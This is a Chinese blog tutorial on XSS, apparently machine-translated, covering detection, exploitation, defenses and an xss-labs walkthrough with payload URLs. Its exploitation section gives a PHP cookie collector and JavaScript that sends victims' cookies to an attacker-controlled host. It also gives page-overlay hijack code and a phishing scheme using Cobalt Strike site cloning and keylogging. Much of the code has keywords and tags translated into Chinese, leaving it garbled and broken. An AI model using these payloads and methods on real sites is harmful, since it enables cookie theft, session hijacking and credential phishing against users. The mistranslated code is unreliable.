一、简介
这是大白为粉丝整理的网络安全渗透测试入门阶段的第五期XSS。
此阶段重点关注如何检测、利用和预防XSS 漏洞。
喜欢大白的朋友,别忘了点赞、支持、收藏大白,关注我学习黑客技术。
网络安全问题日益严重,漏洞不断涌现。到目前为止我们所做的只是打补丁,这是一个漏洞、补丁、补丁、漏洞的恶性循环。事实上,如果你做好功课,很多攻击是可以预防的。
二、JS代码的调用方式
在上一篇文章中,我们了解到JavaScript有能力控制浏览器并在用户不知情的情况下执行一系列恶意攻击。所以,在大白开始讲解XSS漏洞检测技术之前,粉丝们首先要了解一下JS代码是如何被网页调用和执行的。
使用JavaScript 调用网页的方法有以下三种。
事件法
如何粘贴标签
伪共识法
事件法
HTML4 的新功能之一是事件。事件允许您在用户在网页上执行操作时触发JS 代码,从而实现更好的交互效果。例如:
!DOCTYPE html
html
身体
img id=\’图片\’ src=\’/i/eg\\_smile.gif\’ /
输入类型=\’按钮\’onclick=change()值=\’修改\’/
!– 当用户点击按钮时,触发js,改变图片路径–
输入类型=\’按钮\’onclick=back()值=\’恢复\’/
!– 当用户点击按钮时,触发js,改变图片路径–
脚本
//单击“更改”时调用的js 代码
函数变化(){
document.getElementById(\’image\’).src=\’/i/porsche.jpg\’;
}
//点击恢复时调用的js代码
函数返回(){
document.getElementById(\’image\’).src=\’/i/eg\\_smile.gif\’;
}
/剧本
p原始图像是eg\\_smile.gif,但脚本将其更改为porsche.jpg/p。
/身体
/html
前端开发通常包括许多事件类型。如果您有兴趣,请往下看。
HTML 事件| 初学者教程
标签法
在HTML语言中,不同的标签代表不同的功能。用于运行JavaScript 脚本的标签是:
脚本/脚本
您可以通过此标签导入JavaScript 代码。 tag方法导入的js代码有两种形式:
标签对之间可以直接写js代码
脚本
//在标签对之间写入js代码
警报(1);
/剧本
接下来,使用src 属性导入js 文件。
脚本src=\’target.js\’/script
//src 可以是相对路径或超链接
脚本src=\’https://unpkg.com/vue@3/dist/vue.global.js\’/script
需要注意的是,这两种格式只能有选择地使用。
协议法
伪协议通常是统一资源定位器(URL) 中使用的特殊协议标识符。请注意,这些不是真正的协议,而是在特定上下文中执行特定操作或触发特定行为。
伪协议的类型有很多种,常用的有dict伪协议和gopher伪协议。
触发JS代码的伪协议,如PHP伪协议、数据伪协议,主要有两点:
JavaScript:
a href=\’javascript:alert(1)\’/a
数据:
脚本src=\’data:text/javascript;base64,YWxlcnQoMSk=\’/script
两种方法都可以触发js代码的执行
三、XSS漏洞挖掘思路
在调查XSS 漏洞时,请考虑可以输入内容的区域,例如表单字段、查询字符串、URL 参数、cookie、HTTP 标头以及用户可以输入内容并传递构造数据的其他位置。如果这些位置存在恶意内容,并且代码被触发,则意味着此时存在XSS 漏洞。
1. 查询字符串
如果您的网站具有搜索或查询功能,您可以轻松确定前端是否会输出您输入的字符。如果您有输出,您通常可以测试这些输出的位置是否存在XSS 漏洞。
2. 数据提交表单
一般来说,xss的表单测试是比较复杂的。这是因为表单在两种情况下显示:
提交数据后,前端不显示提交的表单信息。经典案例:
调查问卷、意见信息等
提交数据后,前端会显示提交的表单信息。经典案例:
注册信息、留言信息、评论信息、订单信息等
这两种形式使用不同的测试方法。
对于第一个表单,前端不会显示提交的表单信息,所以只能通过一些特殊的方式进行测试。盲打
盲打是在无法直接看到回显的情况下使用的一种攻击技术,其主要目的是利用间接证据来表明脚本执行成功。这类似于SQL 盲注。 SQL 盲注允许您使用布尔比较在网页上显示不同的内容。您可以让数据库进入睡眠状态以延长网站的响应时间。 XSS盲打也是基于这个原理实现的,但是需要测试攻击者的JS代码编写水平。
当然,有一种简单的方法可以使用XSS平台捕获用户cookie并确定是否存在XSS漏洞。
XSS盲打实战示例:Web Comic_xss实战示例
虽然这种方法可以让你成功实施XSS盲打攻击,但你应该意识到,使用XSS平台很容易产生法律风险。因此,在挖掘真实项目和来源时应谨慎使用。
第二种类型可以使用常规测试语句进行测试。
这样您就可以在前端有回显的表单上运行XSS 测试。这样您就可以确定您的表单是否存在XSS 漏洞。
3.Cookie、请求头等位置
这些参数在cookie 和请求标头中的位置经常被开发人员和安全设备忽略。这是因为cookie数据一般不会直接显示在前端页面上。然而,这并不意味着这些位置是安全的并且应该没有XSS。
关于cookie 和其他位置的测试通常基于盲打。
测试使用的语句
一旦了解了测试的要点,您就需要编写将用于测试的JavaScript 语句。这些结构通常有三种形式:
标签样式
使用各种标签调用JS代码。常用的标签包括svg、iframe、img 和script。
svg onLoad svg onLoad=\’javascript:javascript:alert(303)\’/svg onLoad
iframe onLoad iframe onLoad=\’javascript:javascript:alert(296)\’/iframe onLoad
!–\\\\x3Eimg src=xxx:x 错误=javascript:alert(358) —
scriptjavascript:alert(356)/script\\\\x0B
脚本字符集=\’\\\\x22javascript:alert(357)/script
该方法主要用于网站在两个标签之间输出数据时。
活动风格
关闭标记内的属性允许您将新属性或事件插入到标记中。
\’ onerrr=alert(1) \\\\\\\\ \’ onfcus=alert(1) autofocus=自动对焦\\\\\\\\
如果你仔细查看标签样式中指定的xss语句,你会发现标签样式中实际上有很多使用事件来测试XSS的POC。它们与我们现在描述的唯一区别是事件样式不再受角色限制。该攻击是通过直接将数据插入现有标签来执行的。
伪协议风格:
使用伪协议风格的条件比较严格:标签必须有href属性或者网页必须填充http连接。因此,您通常使用a 标记或特殊文档语法进行测试。
a href=\’javascript:alert(1)\’ testxss/a \\[xsstest\\](javascript:alert(1))
四、XSS的利用手法
四种最常见的XSS 攻击技术包括:
窃取用户信息
恶意重定向
篡改网页内容
发起网络钓鱼攻击
窃取用户信息
JavaScript 可以在浏览器中检索有关用户的一些基本信息(cookie、个人信息等)。实现这些并不复杂。最简单的方法是:
通过vps 构建站点有以下要求:
1\\.所有用户均可访问。 2.接受两个传递的参数(URL地址和cookie)并对传递的参数进行Base64解码。 3. 以域名和时间戳为文件名保存传递过来的cookie信息。
实现代码如下。
?
if(isset($\\_REQUEST\\[\’cookieinfo\’\\]) isset($\\_REQUEST\\[\’url\’\\]) ){
$info=base64\\_decode($\\_REQUEST\\[\’cookieinfo\’\\]);
$domain=base64\\_decode($\\_REQUEST\\[\’url\’\\]);
file\\_put\\_contents($domain.time().\’.txt\’, $info);
echo \’我很高兴收到这条消息\’;
}除此之外{
回显“你好世界”。
}
?
创建xss攻击语句有以下要求:
1\\.使用js获取目标站点的cookie和host,并进行base64编码。 2.创建span标签、form标签、iframe标签。 3.将span标签设置为display:none并添加form和iframe标签。 4.配置form标签发送数据到接收网站,并按照接收平台的规则组装数据5.配置form提交结果对应iframe标签6.添加scan标签添加到html标签并提交表单标签。
代码实现如下。
(功能(){
//获取目标站点的信息
var cookieinfo=btoa(document.cookie);
var url=btoa(window.location.host.replace(\’:\’,\’\\_\’));
//设置接受信息的站点
var target\\_url=\’http://192.168.226.1/phpinfo.php\’;
//创建需要使用的标签
var html=document.getElementsByTagName(\’html\’)\\[0\\];
varspan=document.createElement(\’span\’);
var form=document.createElement(\’form\’);
var input1=document.createElement(\’input\’);
var input2=document.createElement(\’input\’);
//设置表单标签的基本属性
form.action=目标\\_url;
//传值字段1:设置cookie信息
input1.name=\’cookieinfo\’;
input1.type=\’文本\’;
input1.setAttribute(\’值\’,cookieinfo);
//传值字段2:设置域名信息
input2.name=\’url\’;
input2.type=\’文本\’;
input2.setAttribute(\’值\’,url)
//将值字段填充到表单中
form.appendChild(input1);
form.appendChild(input2);
//创建一个iframe来接受提交表单后返回的数据。
var iframe=document.createElement(\’iframe\’);
iframe.name=\’\\_test\’;
//实现针对表单隐藏表单回显的问题。
form.target=iframe.name;
//使用form和iframe填充span
span.appendChild(表单);
span.appendChild(iframe);
//隐藏span标签
span.style.display=\’无\’;
//接下来,填写HTML 页面中的表单。
html.appendChild(span);
//提交表格
表单.提交();
这样就可以轻松实现用户数据被盗。当然,这样的代码相当难看(请原谅我有限的开发能力)。对于真正的测试,有一个更好的解决方案:XSS平台。
xss平台的功能与上面类似。这是其他人开发的一个相对优雅的解决方案。不过,有一点需要注意。公共XSS 平台并不安全。作为XSS平台的管理员,您可以从XSS平台后端检索发送到平台的所有XSS信息。
因此,如果您的项目有数据保密要求,请避免使用公共XSS 平台。
然而,XSS平台的引入是不可避免的。这里以xsscom.com平台为例。
请先访问网站,然后注册。由于国家政策的原因,大多数XSS平台注册都需要邀请码,并且需要使用邮箱地址进行注册。虽然无法使用邀请码,但某些XSS 平台并不限制电子邮件地址,因此您可以使用临时电子邮件地址在这些平台上注册。 (攻击和防御都必须保护个人隐私。)
(我如何获得临时电子邮件地址?猜猜看)
注册后,您将无法再使用该帐户登录并截屏。成功登录后,创建项目。一些XSS 平台对项目创建和数据存储有限制。请您自己研究一下。
创建项目名称、描述检查模块(默认模块(必填)、XSS.js(必填)、基本身份验证钓鱼模块(可选))完成
创建项目后,将代码页拖到底部以查看如何利用XSS 平台。
然后,这些漏洞可以在XSS 检测点替换为良性XSS,以完成基本的cookie 盗窃。
这个解决方案非常优雅。唯一的缺点是它使用公共XSS 平台。我们无法保证您的信息的机密性。
恶意重定向
这也是非常容易理解的。当你在网页中插入一串JS代码时,网页会自动跳转到指定的网站。
window.location.href=\’http://192.168.226.1\’
当然,这种方法还不够成熟。因为这次跳转之后,浏览器地址栏的内容也发生了变化。这种混乱是比较少见的,只要稍加留意,就可以看出你的网站出了问题。
篡改网页内容
更复杂的攻击方法涉及修改网页内容。您可以修改网站的内容,而无需更改地址栏的内容。
这是我们的新平台xssaq.com。这也是一个XSS平台,但是更加暴力和优雅。
而前面提到的网页内容的修改可以通过他的一项设置来实现。
此配置可防止您更改地址栏的内容。将网站重定向到指定的URL。在看到他的实现代码之前我的想法是这个:
1\\.删除原来的js中的body。 2.在js中创建一个form表单,并请求目标地址。 3、在js中创建一个iframe标签,用于接收form表单的返回结果。 4. 重新生成body,并将form和iframe插入body标签中。将正文插入HTML 标签
这种攻击是通过模仿窃取cookie的思想来实现的。实现此代码。
(function(){ var body=document.getElementsByTagName(\’body\’)\\[0\\];
body.parentNode.removeChild(body);
var html=document.getElementsByTagName(\’html\’)\\[0\\];
body=document.createElement(\’body\’);
html.appendChild(body);
var iframe=document.createElement(\’iframe\’);
iframe.name=\’\\_test\’;
var form=document.createElement(\’form\’);
form.action=\’https://www.anchorubik.com\’;
form.method=\’获取\’;
form.target=iframe.name;
body.appendChild(表单);
body.appendChild(iframe);
iframe.style.cssText=
\’位置:绝对;\’+
\’z-index:100000;\’+
\’宽度:100%;高度:100%;\’+
\’框架边框=否;scroll:否\’;
form.submit();})()
然而,这段代码的实现并不优雅。因为如果遇到不允许iframe跨域调用的网站,页面就会报错。此外,如果目标站点使用https,则重定向到的目标站点也必须使用https。
接下来,我们研究一下xssaq平台是如何实现的。嗯,我的想法是正确的:
然而,当我尝试直接将上面的代码字符串输入到浏览器中并输入self xss 时,我发现效果并没有上面的代码那么好。我将稍微更改一下代码以使其不那么难看
(功能(){
var html=document.getElementsByTagName(\’html\’)\\[0\\];
html.removeChild(document.getElementsByTagName(\’body\’)\\[0\\]);
var body=document.createElement(\’body\’);
body.style.cssText=\’滚动:no\’;
html.appendChild(body);
var iframe=document.createElement(\’iframe\’);
iframe.src=\’https://www.anchorubik.com\’;
body.appendChild(iframe);
iframe.style.cssText=
\’位置:绝对;\’+
\’z-index:100000;\’+
\’宽度:100%;高度:100%;\’+
\’框架边框=否;scroll:否\’;
})()
虽然很优雅,但当: 在网页上操作时,额外的小心可能会使地址栏的内容保持不变。
发起钓鱼攻击
如果你了解了网页内容篡改攻击的原理,还想进行进一步的攻击,那不就属于网络钓鱼了吗?现在你已经有了修改网页内容的基础了,那钓鱼是不是很容易呢?
1\\. 在您自己的VPS 上构建目标站点登录页面的副本。
2、在自己的vps:上实现以下功能。
a. 将用户提交的数据转发至原始网站。
b. 登录成功后,将您的数据保存到本地。而且它不在劫持页面上。
c. 如果登录失败,则向目标用户返回响应信息,直至登录成功。
现在你有了想法,下一步就是实现代码。此时我想你应该可以选择CS了。 cs 有一个网络钓鱼模块,可以让您轻松克隆目标站点并实现键盘记录。通过对我们CS生成的网站进行XSS篡改目标网站,我们就可以完美完成钓鱼。
我这里写一下详细的实现方法,不过有点复杂。我想在这里解释一下其他事情。如果目标网站存在XSS 漏洞,并且您已经可以通过XSS 检索目标的cookie,您还应该进行网络钓鱼吗?
五、XSS漏洞修复建议
1、防止跨站漏洞,防止攻击者向目标网站发布跨站攻击语句。
用户提交的内容不可信。首先,您需要仔细检查用户在代码中输入的位置以及变量的长度,并过滤掉“”、“”、“;”、“\’”等字符。写入的内容必须进行预编码,以避免HTML 标签被意外提取。如果此级别效果良好,它将阻止至少一半的XSS 攻击。
2. Cookie 防盗
首先,cookie不应直接泄露用户隐私,例如电子邮件、密码等。其次,将cookie与系统IP绑定,降低cookie泄露的风险。攻击者获得的cookie没有实际价值,无法播放。
3. 尝试使用POST 而不是GET 提交表单。
POST操作中不可避免地使用了JavaScript,这增加了攻击者的难度,也减少了可利用的跨站漏洞的数量。
4. 彻底检查转介
检查httprefer 是否来自预期的URL。这可以防止2 类攻击发起的HTTP 请求,也可以防止大多数1 类攻击,除非跨站点访问发生在特权操作参考页面上。
5、将单步流程改为多步流程,并在多步流程中引入验证代码。
多步骤过程中的每一步
步都产生一个验讠正码作为hidden表单元素嵌在中间页面,下一步操作时这个验讠正码被提交到服务器,服务器检查这个验讠正码是否匹配。首先这为第1类攻击者大大增加了麻烦。其次攻击者必须在多步流程中拿到上一步产生的效验码才有可能发起下一步请求,这在第2类攻击中是几乎无法做到的。
6、引入用户交互
简单的一个看图识数可以堵住几乎所有的非预期特权操作。
7、只在允许anonymous访问的地方使用动态的javascript。
8、对于用户提交信息的中的img等link,检查是否有重定向回本站、不是真的图片等可疑操作。
9、内部管理网站的问题
很多时候,内部网站往往疏于关注安全问题,只是简单的限制访问来源。这种网站往往对XSS攻击毫无抵抗力,需要多加注意。
虽然XSS的攻击很灵活,只要我们能做好上述几点,是可以组织大部分XSS的,再及时打好补丁可以最大程度的减少来自跨站脚本攻击XSS的威胁。
申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。
六、Xss小游戏通关攻略
实验环境:xss小游戏源码+phpstudy
源码地址:https://files.cnblogs.com/files/Eleven-Liu/xss%E7%BB%83%E4%B9%A0%E5%B0%8F%E6%B8%B8%E6%88%8F.zip
实验步骤:启动phpstudy,浏览器访问127.0.0.1/xss/后提示点击图片进入第一关。
第一关:输入的变量直接被输出,直接构造payload即可。
http://127.0.0.1/xss/level1.php?name=
http://127.0.0.1/xss/level1.php?name=test‘
第二关:搜索框的XSS,输入的变量直接输出到input标签内,闭合input标签,构造XSS,备注:echo语句输出到页面时使用了htmlspecialchars函数。
payload:
http://127.0.0.1/xss/level2.php?keyword=test\”>
第三关:输入的变量被htmlspecialchars函数处理了,这个函数处理的字符有< > \” ,没有处理单引号,因此利用单引号构造payload,先通过单引号闭合value
[
第四关:大于号 小于号 被过滤了,构造不包含这两个符号的payload,value的值与第三关有所差异,这里需要使用双引号用于闭合value标签
](http://127.0.0.1/xss/level3.php?keyword=%27%20rel=)
[http://127.0.0.1/xss/level4.php?keyword=test\”οnmοuseοver=‘alert(1)](http://127.0.0.1/xss/level4.php?keyword=test%22%CE%BFnm%CE%BFuse%CE%BFver=%27%20rel= “http://127.0.0.1/xss/level4.php?keyword=test\”οnmοuseοver=\’alert(1)”)’
第五关:<script 和on被替换了,构造不含这两个的payload
127.0.0.1/xss/level5.php?keyword=find a way out!1\”>
第六关:比第五关过滤的东西更多,包括了src data href ,可以把这些关键字大写,以绕过这些过滤,payload
http://127.0.0.1/xss/level6.php?keyword=break it out!1\”>
第七关:增加strtolower函数把输入变量转成了小写,但过滤的字符强制变成空格,可以使用,中间的script变成了空格,正好变成了
127.0.0.1/xss/level7.php?keyword=move up!1\”>alert(1)
第八关:input中输入的变量通过htmlspecialchars被处理了,且双引号被替换成空,无法通过双引号闭合value。这里的输入被添加至超链接中,直接构造payload:javascript,对其中的字母进行实体编码
搜索框中输入 javascript:alert(1) 点击添加到友情链接,点击链接
第九关:上一关的基础上,判断输入的链接是否包含http://,因为用的是strpos函数,没有限制必须是开始的位置,所以在上一关的基础上,修改payload为 javascript:alert(‘http://’)
第十关:keyword变量没办法构造payload,发现隐藏变量t_sort,可以被写入,但过滤了大于小于号,构造不含大于小于号的payload,类型改为text,具体如下:
[http://127.0.0.1/xss/level10.php?t_sort=\”οnmοuseοver=\’alert(1)\’type=\”text](http://127.0.0.1/xss/level10.php?t_sort=%22%CE%BFnm%CE%BFuse%CE%BFver=%27%20rel= \”http://127.0.0.1/xss/level10.php?t_sort=“οnmοuseοver=\’alert(1)\’type=“text”)”
第十一关:查看源码:可以看到t_ref的value是我们访问这个网页的referer值,故可以抓包修改referer,在referer后加入” οnmοuseοver=‘alert(1)’ type=“text”。
第十二关:查看源码,$str33最初是由HTTP_USER_AGENT过滤< > 而来,修改User-Agent,在后面加上\” οnmοuseοver=‘alert(1)’ type=“text”。
第十三关:同上,查看源码,$str33最初是由cookie过滤< > 而来,修改cookie,在后面加上\” οnmοuseοver=‘alert(1)’ type=“text”。
第十四关:网站已经打不开,略过
第十五关:angularjs的ng-include
http://127.0.0.1/xss /level15.php?src=‘level1.php?name=test<img src=1 οnerrοr=alert(1)>’
第十六关:script / 空格被过滤了 ,用%0d换行符绕过
http://127.0.0.1/xss/level16.php?keyword=%3Cimg%0dsrc=1%0dοnerrοr=alert(2)%3Ealert(2)
http://127.0.0.1/xss /level16.php?keyword=<img%0Dsrc=1%0Dοnerrοr=alert()>
http://127.0.0.1/xss /level16.php?keyword=<img%0asrc=1%0aοnerrοr=alert()>
http://127.0.0.1/xss /level16.php?keyword=<img%0asrc=x%0donError=alert(‘xss’)>
http://127.0.0.1/xss /level16.php?keyword=<iframe%0asrc=x%0dοnmοuseοver=alert’1’>
http://127.0.0.1/xss /level16.php?keyword=<svg%0aοnlοad=alert’1’>
第十七关:arg01和arg02 被htmlspecialchars过滤了,通过οnmοuseοver=\’alert(1)\’绕过。
http://127.0.0.1/xss/level17.php?arg01=a&arg02=%20οnmοuseοver=alert%282%29
第十八关:同十七,直接把arg02 设置为οnmοuseοver=‘alert(1)’
http://192.168.40.128/xss/level18.php?arg01=a&arg02= οnmοuseοver=alert(2)
第十九关和二十关属于Flash xss,略过。
为了帮助大家更好的学习网络安全,我给大家准备了一份网络安全入门/进阶学习资料,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂这些资料!
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
[2024最新CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享]
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
[2024最新CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享]
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
[2024最新CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享]
#以上关于【网络安全渗透测试入门】之XSS漏洞检测、利用和防御机制XSS游戏(非常详细)零基础入门到精通,收藏这一篇就够了5的相关内容来源网络仅供参考,相关信息请以官方公告为准!
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/92468.html